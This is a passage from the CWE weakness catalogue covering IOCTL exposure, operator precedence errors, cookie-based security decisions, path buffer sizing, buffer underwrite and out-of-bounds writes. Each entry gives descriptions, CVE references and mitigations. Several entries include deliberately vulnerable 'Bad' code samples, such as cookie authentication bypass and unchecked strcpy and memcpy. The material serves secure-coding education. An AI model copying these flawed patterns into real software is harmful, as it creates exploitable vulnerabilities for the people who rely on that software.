The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		749	Exposed Dangerous Method or Function	1572
CanPrecede		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1654

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Operating_System : Unix (Prevalence = Undetermined)

Operating_System : Windows (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

Scope	Impact	Likelihood
Availability Confidentiality	Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.	

Potential Mitigations

Phase: Architecture and Design

In Windows environments, use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2009-2208	Operating system does not enforce permissions on an IOCTL that can be used to modify network settings. https://www.cve.org/CVERecord?id=CVE-2009-2208
CVE-2008-3831	Device driver does not restrict ioctl calls to its direct rendering manager. https://www.cve.org/CVERecord?id=CVE-2008-3831
CVE-2008-3525	ioctl does not check for a required capability before processing certain requests. https://www.cve.org/CVERecord?id=CVE-2008-3525
CVE-2008-0322	Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten. https://www.cve.org/CVERecord?id=CVE-2008-0322
CVE-2007-4277	Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL. https://www.cve.org/CVERecord?id=CVE-2007-4277
CVE-2007-1400	Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl. https://www.cve.org/CVERecord?id=CVE-2007-1400
CVE-2006-4926	Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL. https://www.cve.org/CVERecord?id=CVE-2006-4926
CVE-1999-0728	Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL. https://www.cve.org/CVERecord?id=CVE-1999-0728

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Relationship

This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

References

[REF-701]Microsoft. "Securing Device Objects". < <https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/controlling-device-access> >.2023-04-07.

CWE-783: Operator Precedence Logic Error

Weakness ID : 783

Structure : Simple

Abstraction : Base

Description

The product uses an expression in which operator precedence causes incorrect logic to be used.

Extended Description

While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1484

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2348
MemberOf		569	Expression Issues	2351

Applicable Platforms

Language : C (Prevalence = Rarely)

Language : C++ (Prevalence = Rarely)

Language : Not Language-Specific (Prevalence = Rarely)

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity	Unexpected State	
Availability	The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.	

Potential Mitigations

Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

Demonstrative Examples**Example 1:**

In the following example, the method `validateUser` makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

Example Language: C

(Bad)

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
    }
    return isUser;
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator `"=="` has a higher precedence than the assignment operator `"="`, the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C

(Good)

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
    ...
}
```

Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java

(Bad)

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java

(Good)

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...
```







Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

Observed Examples

Reference	Description
CVE-2008-2516	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)". https://www.cve.org/CVERecord?id=CVE-2008-2516
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. https://www.cve.org/CVERecord?id=CVE-2008-0599
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. https://www.cve.org/CVERecord?id=CVE-2001-1155

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2362
MemberOf		884	CWE Cross-section	884	2588
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2505
MemberOf		1308	CISQ Quality Measures - Security	1305	2506
MemberOf		1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP00-C	Exact	Use parentheses for precedence of operation
SEI CERT Perl Coding Standard	EXP04-PL	CWE More Abstract	Do not mix the early-precedence logical operators with late-precedence logical operators

References

[REF-704]CERT. "EXP00-C. Use parentheses for precedence of operation". < <https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID : 784

Structure : Simple

Abstraction : Variant

Description

The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.



Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1723
ChildOf		565	Reliance on Cookies without Validation and Integrity Checking	1292

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2448

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity <i>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.</i>	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples**Example 1:**

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java

(Bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(Bad)

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(Bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
```

```

    authenticated = true;
  }
}



```

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. https://www.cve.org/CVERecord?id=CVE-2009-1549
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://www.cve.org/CVERecord?id=CVE-2009-1619
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." https://www.cve.org/CVERecord?id=CVE-2009-0864
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. https://www.cve.org/CVERecord?id=CVE-2008-5784
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." https://www.cve.org/CVERecord?id=CVE-2008-6291

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf		1403	Comprehensive Categorization: Exposed Resource	1400	2549

Notes

Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

References

[REF-706]Steve Christey. "Unforgivable Vulnerabilities". 2007 August 2. < <http://cve.mitre.org/docs/docs-2007/unforgivable.pdf> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID : 785

Structure : Simple

Abstraction : Variant

Description

The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include `realpath()`, `readlink()`, `PathAppend()`, and others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	310
ChildOf	B	676	Use of Potentially Dangerous Function	1498

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	20

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least `MAX_PATH` bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Demonstrative Examples

Example 1:

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C

(Bad)

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
}
```



```
}  
if (!PathAppend(outputDirectoryName, name)) {  
    return null;  
}  
if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {  
    return null;  
}  
return StrDup(outputDirectoryName);  
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Affected Resources

- Memory
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	972	SFP Secondary Cluster: Faulty String Expansion	888	2426
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: File System
Software Fault Patterns	SFP9		Faulty String Expansion

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID : 786

Structure : Simple

Abstraction : Base

Description

The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
ParentOf		124	Buffer Underwrite ('Buffer Underflow')	332
ParentOf		127	Buffer Under-read	343

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2500

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i>	
Integrity	Modify Memory Execute Unauthorized Code or Commands <i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.</i>	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C

(Bad)

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(Bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in `destBuf` with the string stored in `srcBuf`. It does so by

using the function `strstr()`, which returns a pointer to the found substring in `destBuf`. Using pointer arithmetic, the starting index of the substring is found.

Example Language: C

(Bad)

```
int main() {
    ...
    char *result = strstr(destBuf, "Replace Me");
    int idx = result - destBuf;
    strcpy(&destBuf[idx], srcBuf);
    ...
}
```





In the case where the substring is not found in `destBuf`, `strstr()` will return `NULL`, causing the pointer arithmetic to be undefined, potentially setting the value of `idx` to a negative number. If `idx` is negative, this will result in a buffer underwrite of `destBuf`.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. https://www.cve.org/CVERecord?id=CVE-2002-2227
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) https://www.cve.org/CVERecord?id=CVE-2007-4580
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. https://www.cve.org/CVERecord?id=CVE-2007-1584
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow. https://www.cve.org/CVERecord?id=CVE-2007-0886
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. https://www.cve.org/CVERecord?id=CVE-2006-6171
CVE-2006-4024	Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow. https://www.cve.org/CVERecord?id=CVE-2006-4024
CVE-2004-2620	Buffer underflow due to mishandled special characters https://www.cve.org/CVERecord?id=CVE-2004-2620

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		884	CWE Cross-section	884	2588
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2478
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts

CWE-787: Out-of-bounds Write

Weakness ID : 787

Structure : Simple
Abstraction : Base










Description

The product writes data past the end, or before the beginning, of the intended buffer.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
ParentOf		121	Stack-based Buffer Overflow	320
ParentOf		122	Heap-based Buffer Overflow	324
ParentOf		123	Write-what-where Condition	329
ParentOf		124	Buffer Underwrite ('Buffer Underflow')	332
CanFollow		822	Untrusted Pointer Dereference	1732
CanFollow		823	Use of Out-of-range Pointer Offset	1735
CanFollow		824	Access of Uninitialized Pointer	1738
CanFollow		825	Expired Pointer Dereference	1741


Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299


Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2500

Weakness Ordinalities

Resultant : At the point when the product writes data to an invalid location, it is likely that a separate weakness already occurred earlier. For example, the product might alter an index, perform incorrect pointer arithmetic, initialize or release memory incorrectly, etc., thus referencing a memory location outside the buffer.

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Assembly (*Prevalence = Undetermined*)

Technology : ICS/OT (*Prevalence = Often*)

Alternate Terms

Memory Corruption : Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is otherwise invalid.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory Execute Unauthorized Code or Commands <i>Write operations could cause memory corruption. In some cases, an adversary can modify control data such as return addresses in order to execute unexpected code.</i>	
Availability	DoS: Crash, Exit, or Restart <i>Attempting to access out-of-range, invalid, or unauthorized memory could cause the product to crash.</i>	
Other	Unexpected State <i>Subsequent write operations can produce undefined or unexpected results.</i>	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX

[REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

Example Language: C

(Bad)

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.

Example 2:

In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(Bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

